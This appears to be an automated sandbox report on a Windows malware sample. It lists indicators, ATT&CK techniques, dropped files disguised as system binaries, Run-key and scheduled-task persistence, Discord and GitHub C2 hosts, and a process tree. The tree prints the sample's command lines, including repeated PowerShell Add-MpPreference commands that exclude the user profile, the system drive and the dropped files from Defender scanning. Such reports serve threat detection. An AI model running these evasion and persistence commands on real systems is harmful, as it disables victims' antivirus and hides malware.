Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss.exe = "\"C:\\BrowserSvc\\csrss.exe.exe\""	csrss.exe.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Users\\Public\\Libraries\\sppsvc.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\dllhost.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msAgentreviewCommon = "\"C:\\BrowserSvc\\msAgentreviewCommon.exe\""	msAgentreviewCommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\es-ES\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\BrowserSvc\\RunShell.exe\""	RunShell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	javaw.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
12	discord.com
13	discord.com
16	discord.com
19	raw.githubusercontent.com
20	raw.githubusercontent.com

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	api.ipify.org
8	api.ipify.org
10	ip-api.com
23	ipinfo.io
24	ipinfo.io

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	\??\c:\Windows\System32\CSC818ECAC0E9674922A8EE3130EB93E743.TMP	csc.exe
File created	\??\c:\Windows\System32\efyliz.exe	csc.exe

Drops file in Program Files directory 26 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\27d1bcfc3c54e0	msAgentreviewCommon.exe
File created	C:\Program Files\Windows Mail\66fc9ff0ee96c2	csrss.exe.exe
File created	C:\Program Files\Uninstall Information\upfc.exe	csrss.exe.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\WmiPrvSE.exe	csrss.exe.exe
File created	\??\c:\Program Files (x86)\Mozilla Maintenance Service\logs\CSC169D1B416A0945A2B07D87BF10FEE94.TMP	csc.exe
File created	\??\c:\Program Files\7-Zip\Lang\CSCF6F963EDEA904B06ADC6543D8E6DB0E5.TMP	csc.exe
File created	C:\Program Files\Windows Defender Advanced Threat Protection\es-ES\503474ccfa3ef7	RunShell.exe
File created	C:\Program Files\7-Zip\Lang\upfc.exe	msAgentreviewCommon.exe
File created	C:\Program Files\Windows Mail\sihost.exe	csrss.exe.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\24dbde2999530e	csrss.exe.exe
File created	C:\Program Files\Windows Sidebar\9e8d7a4ca61bd9	RunShell.exe
File created	C:\Program Files\Windows Defender Advanced Threat Protection\es-ES\RunShell.exe	RunShell.exe
File created	C:\Program Files\Windows Portable Devices\wininit.exe	msAgentreviewCommon.exe
File created	C:\Program Files\Windows Portable Devices\56085415360792	msAgentreviewCommon.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\dllhost.exe	msAgentreviewCommon.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\System.exe	msAgentreviewCommon.exe
File created	\??\c:\Program Files\Windows Sidebar\RuntimeBroker.exe	csc.exe
File created	C:\Program Files\Uninstall Information\ea1d8f6d871115	csrss.exe.exe
File created	\??\c:\Program Files (x86)\Mozilla Maintenance Service\logs\CSCAD21581396A44296B041FFFD103C5F68.TMP	csc.exe
File created	\??\c:\Program Files (x86)\Mozilla Maintenance Service\logs\dllhost.exe	csc.exe
File created	C:\Program Files\Windows Sidebar\RuntimeBroker.exe	RunShell.exe
File created	C:\Program Files\7-Zip\Lang\ea1d8f6d871115	msAgentreviewCommon.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\5940a34987c991	msAgentreviewCommon.exe
File created	\??\c:\Program Files\Windows Sidebar\CSC78B64155219E4C4782296F921D13FB71.TMP	csc.exe
File created	\??\c:\Program Files (x86)\Mozilla Maintenance Service\logs\System.exe	csc.exe
File created	\??\c:\Program Files\7-Zip\Lang\upfc.exe	csc.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\Performance\WinSAT\DataStore\explorer.exe	msAgentreviewCommon.exe
File created	C:\Windows\Performance\WinSAT\DataStore\7a0fd90576e088	msAgentreviewCommon.exe
File created	C:\Windows\Containers\unsecapp.exe	csrss.exe.exe
File created	C:\Windows\Containers\29c1c3cc0f7685	csrss.exe.exe
File created	\??\c:\Windows\Performance\WinSAT\DataStore\CSCD46752269BF74CDD8973DA2CAFD5872D.TMP	csc.exe
File created	\??\c:\Windows\Performance\WinSAT\DataStore\explorer.exe	csc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Checker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crypt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinSFX.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3344	PING.EXE

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000_Classes\Local Settings	WinSFX.exe
Key created	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000_Classes\Local Settings	Checker.exe
Key created	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000_Classes\Local Settings	RunShell.exe
Key created	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000_Classes\Local Settings	csrss.exe.exe
Key created	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000_Classes\Local Settings	msAgentreviewCommon.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
3356	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3344	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 54 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3568	schtasks.exe
4076	schtasks.exe
4284	schtasks.exe
4128	schtasks.exe
832	schtasks.exe
4844	schtasks.exe
3428	schtasks.exe
472	schtasks.exe
3164	schtasks.exe
1788	schtasks.exe
4780	schtasks.exe
1872	schtasks.exe
3336	schtasks.exe
3692	schtasks.exe
5088	schtasks.exe
1880	schtasks.exe
3380	schtasks.exe
1704	schtasks.exe
2152	schtasks.exe
1844	schtasks.exe
4816	schtasks.exe
548	schtasks.exe
1156	schtasks.exe
4444	schtasks.exe
4740	schtasks.exe
1040	schtasks.exe
3056	schtasks.exe
4648	schtasks.exe
3484	schtasks.exe
1724	schtasks.exe
1796	schtasks.exe
236	schtasks.exe
1984	schtasks.exe
3888	schtasks.exe
2076	schtasks.exe
1936	schtasks.exe
2688	schtasks.exe
2732	schtasks.exe
3972	schtasks.exe
2864	schtasks.exe
1000	schtasks.exe
3388	schtasks.exe
1880	schtasks.exe
904	schtasks.exe
2964	schtasks.exe
2572	schtasks.exe
240	schtasks.exe
3992	schtasks.exe
5116	schtasks.exe
4816	schtasks.exe
4608	schtasks.exe
1512	schtasks.exe
388	schtasks.exe
2316	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4864	javaw.exe
4616	powershell.exe
2936	powershell.exe
4616	powershell.exe
2936	powershell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe
2432	RunShell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	4864	javaw.exe
Token: SeBackupPrivilege	4864	javaw.exe
Token: SeSecurityPrivilege	4864	javaw.exe
Token: SeDebugPrivilege	4864	javaw.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeIncreaseQuotaPrivilege	2936	powershell.exe
Token: SeSecurityPrivilege	2936	powershell.exe
Token: SeTakeOwnershipPrivilege	2936	powershell.exe
Token: SeLoadDriverPrivilege	2936	powershell.exe
Token: SeSystemProfilePrivilege	2936	powershell.exe
Token: SeSystemtimePrivilege	2936	powershell.exe
Token: SeProfSingleProcessPrivilege	2936	powershell.exe
Token: SeIncBasePriorityPrivilege	2936	powershell.exe
Token: SeCreatePagefilePrivilege	2936	powershell.exe
Token: SeBackupPrivilege	2936	powershell.exe
Token: SeRestorePrivilege	2936	powershell.exe
Token: SeShutdownPrivilege	2936	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeSystemEnvironmentPrivilege	2936	powershell.exe
Token: SeRemoteShutdownPrivilege	2936	powershell.exe
Token: SeUndockPrivilege	2936	powershell.exe
Token: SeManageVolumePrivilege	2936	powershell.exe
Token: 33	2936	powershell.exe
Token: 34	2936	powershell.exe
Token: 35	2936	powershell.exe
Token: 36	2936	powershell.exe
Token: SeIncreaseQuotaPrivilege	4616	powershell.exe
Token: SeSecurityPrivilege	4616	powershell.exe
Token: SeTakeOwnershipPrivilege	4616	powershell.exe
Token: SeLoadDriverPrivilege	4616	powershell.exe
Token: SeSystemProfilePrivilege	4616	powershell.exe
Token: SeSystemtimePrivilege	4616	powershell.exe
Token: SeProfSingleProcessPrivilege	4616	powershell.exe
Token: SeIncBasePriorityPrivilege	4616	powershell.exe
Token: SeCreatePagefilePrivilege	4616	powershell.exe
Token: SeBackupPrivilege	4616	powershell.exe
Token: SeRestorePrivilege	4616	powershell.exe
Token: SeShutdownPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeSystemEnvironmentPrivilege	4616	powershell.exe
Token: SeRemoteShutdownPrivilege	4616	powershell.exe
Token: SeUndockPrivilege	4616	powershell.exe
Token: SeManageVolumePrivilege	4616	powershell.exe
Token: 33	4616	powershell.exe
Token: 34	4616	powershell.exe
Token: 35	4616	powershell.exe
Token: 36	4616	powershell.exe
Token: SeRestorePrivilege	4864	javaw.exe
Token: SeDebugPrivilege	2432	RunShell.exe
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	4944	powershell.exe
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeIncreaseQuotaPrivilege	4944	powershell.exe
Token: SeSecurityPrivilege	4944	powershell.exe
Token: SeTakeOwnershipPrivilege	4944	powershell.exe
Token: SeLoadDriverPrivilege	4944	powershell.exe
Token: SeSystemProfilePrivilege	4944	powershell.exe
Token: SeSystemtimePrivilege	4944	powershell.exe
Token: SeProfSingleProcessPrivilege	4944	powershell.exe
Token: SeIncBasePriorityPrivilege	4944	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4864	javaw.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 4864	2704	Crypt.exe	82
PID 2704 wrote to memory of 4864	2704	Crypt.exe	82
PID 4864 wrote to memory of 3356	4864	javaw.exe	84
PID 4864 wrote to memory of 3356	4864	javaw.exe	84
PID 4864 wrote to memory of 4616	4864	javaw.exe	87
PID 4864 wrote to memory of 4616	4864	javaw.exe	87
PID 4864 wrote to memory of 2936	4864	javaw.exe	88
PID 4864 wrote to memory of 2936	4864	javaw.exe	88
PID 4864 wrote to memory of 4044	4864	javaw.exe	92
PID 4864 wrote to memory of 4044	4864	javaw.exe	92
PID 4864 wrote to memory of 4044	4864	javaw.exe	92
PID 4044 wrote to memory of 4704	4044	WinSFX.exe	93
PID 4044 wrote to memory of 4704	4044	WinSFX.exe	93
PID 4044 wrote to memory of 4704	4044	WinSFX.exe	93
PID 4044 wrote to memory of 860	4044	WinSFX.exe	94
PID 4044 wrote to memory of 860	4044	WinSFX.exe	94
PID 4044 wrote to memory of 860	4044	WinSFX.exe	94
PID 4864 wrote to memory of 568	4864	javaw.exe	96
PID 4864 wrote to memory of 568	4864	javaw.exe	96
PID 568 wrote to memory of 2836	568	cmd.exe	98
PID 568 wrote to memory of 2836	568	cmd.exe	98
PID 860 wrote to memory of 4100	860	Checker.exe	99
PID 860 wrote to memory of 4100	860	Checker.exe	99
PID 860 wrote to memory of 4100	860	Checker.exe	99
PID 4704 wrote to memory of 2120	4704	WScript.exe	100
PID 4704 wrote to memory of 2120	4704	WScript.exe	100
PID 4704 wrote to memory of 2120	4704	WScript.exe	100
PID 2120 wrote to memory of 2432	2120	cmd.exe	102
PID 2120 wrote to memory of 2432	2120	cmd.exe	102
PID 2432 wrote to memory of 3712	2432	RunShell.exe	106
PID 2432 wrote to memory of 3712	2432	RunShell.exe	106
PID 3712 wrote to memory of 4020	3712	csc.exe	108
PID 3712 wrote to memory of 4020	3712	csc.exe	108
PID 2432 wrote to memory of 3784	2432	RunShell.exe	124
PID 2432 wrote to memory of 3784	2432	RunShell.exe	124
PID 2432 wrote to memory of 4944	2432	RunShell.exe	125
PID 2432 wrote to memory of 4944	2432	RunShell.exe	125
PID 2432 wrote to memory of 4160	2432	RunShell.exe	126
PID 2432 wrote to memory of 4160	2432	RunShell.exe	126
PID 2432 wrote to memory of 4348	2432	RunShell.exe	127
PID 2432 wrote to memory of 4348	2432	RunShell.exe	127
PID 2432 wrote to memory of 4076	2432	RunShell.exe	128
PID 2432 wrote to memory of 4076	2432	RunShell.exe	128
PID 2432 wrote to memory of 5056	2432	RunShell.exe	129
PID 2432 wrote to memory of 5056	2432	RunShell.exe	129
PID 2432 wrote to memory of 1672	2432	RunShell.exe	136
PID 2432 wrote to memory of 1672	2432	RunShell.exe	136
PID 1672 wrote to memory of 4132	1672	cmd.exe	138
PID 1672 wrote to memory of 4132	1672	cmd.exe	138
PID 1672 wrote to memory of 988	1672	cmd.exe	139
PID 1672 wrote to memory of 988	1672	cmd.exe	139
PID 4100 wrote to memory of 3416	4100	WScript.exe	140
PID 4100 wrote to memory of 3416	4100	WScript.exe	140
PID 4100 wrote to memory of 3416	4100	WScript.exe	140
PID 3416 wrote to memory of 2616	3416	cmd.exe	142
PID 3416 wrote to memory of 2616	3416	cmd.exe	142
PID 2616 wrote to memory of 3420	2616	msAgentreviewCommon.exe	146
PID 2616 wrote to memory of 3420	2616	msAgentreviewCommon.exe	146
PID 3420 wrote to memory of 2392	3420	csc.exe	148
PID 3420 wrote to memory of 2392	3420	csc.exe	148
PID 2616 wrote to memory of 2268	2616	msAgentreviewCommon.exe	149
PID 2616 wrote to memory of 2268	2616	msAgentreviewCommon.exe	149
PID 2268 wrote to memory of 1612	2268	csc.exe	151
PID 2268 wrote to memory of 1612	2268	csc.exe	151

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2836	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Crypt.exe
"C:\Users\Admin\AppData\Local\Temp\Crypt.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Program Files\Java\jre-1.8\bin\javaw.exe
  "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\Crypt.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\SYSTEM32\reg.exe
    reg query HKLM\HARDWARE\DESCRIPTION\System /v SystemBiosVersion
    3⤵
    - Checks BIOS information in registry
    - Modifies registry key
    PID:3356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2936
- - C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform\WinSFX.exe
    C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform\WinSFX.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows\Defender\yjJlDaeiCtZ3rPY3voT8EfypAtNWVOHqwTO.vbe"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4704
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows\Defender\zHxvwMPtXsd9EflNyF6bR38DTMh313hvK806W5p8W9mTT85g.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2120
      - C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows/Defender/RunShell.exe"
        6⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2432
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2s3cv4ko\2s3cv4ko.cmdline"
        7⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3712
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB3EE.tmp" "c:\Windows\System32\CSC818ECAC0E9674922A8EE3130EB93E743.TMP"
        8⤵
        
        PID:4020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Defender Advanced Threat Protection\es-ES\RunShell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\BrowserSvc\csrss.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Sidebar\RuntimeBroker.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\BrowserSvc\RunShell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Libraries\sppsvc.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ZKbbXbE2GP.bat"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1672
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:4132
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        8⤵
        
        PID:988
        
        C:\BrowserSvc\csrss.exe.exe
        
        "C:\BrowserSvc\csrss.exe"
        8⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        
        PID:456
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ls0eecgn\ls0eecgn.cmdline"
        9⤵
        Drops file in Program Files directory
        
        PID:3468
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD0CD.tmp" "c:\Program Files (x86)\Mozilla Maintenance Service\logs\CSCAD21581396A44296B041FFFD103C5F68.TMP"
        10⤵
        
        PID:1972
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ui0jiwxd\ui0jiwxd.cmdline"
        9⤵
        Drops file in Program Files directory
        
        PID:3352
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD169.tmp" "c:\Program Files (x86)\Mozilla Maintenance Service\logs\CSC169D1B416A0945A2B07D87BF10FEE94.TMP"
        10⤵
        
        PID:4160
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qtjxdwe3\qtjxdwe3.cmdline"
        9⤵
        Drops file in Windows directory
        
        PID:2812
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD244.tmp" "c:\Windows\Performance\WinSAT\DataStore\CSCD46752269BF74CDD8973DA2CAFD5872D.TMP"
        10⤵
        
        PID:2496
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wmv0nvaz\wmv0nvaz.cmdline"
        9⤵
        Drops file in Program Files directory
        
        PID:3784
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD31F.tmp" "c:\Program Files\7-Zip\Lang\CSCF6F963EDEA904B06ADC6543D8E6DB0E5.TMP"
        10⤵
        
        PID:3572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Multimedia Platform\WmiPrvSE.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\upfc.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\unsecapp.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Mail\sihost.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\BrowserSvc\dllhost.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\BrowserSvc\csrss.exe.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1020
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\25XxjPubmd.bat"
        9⤵
        
        PID:2364
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        10⤵
        
        PID:2248
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        10⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3344
        
        C:\Program Files\Windows Mail\sihost.exe
        
        "C:\Program Files\Windows Mail\sihost.exe"
        10⤵
        Executes dropped EXE
        
        PID:3152
  - - C:\Users\Admin\AppData\Roaming\Windows\Defender\Checker.exe
      "C:\Users\Admin\AppData\Roaming\Windows\Defender\Checker.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:860
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\BrowserSvc\9jir1hGrtyuZOLHcOuhj8HZKZgcsvyzwZ1xbryhIf2ZdpzOmWWf.vbe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4100
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\BrowserSvc\O41KRElzpOO.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3416
        
        C:\BrowserSvc\msAgentreviewCommon.exe
        
        "C:\BrowserSvc/msAgentreviewCommon.exe"
        7⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
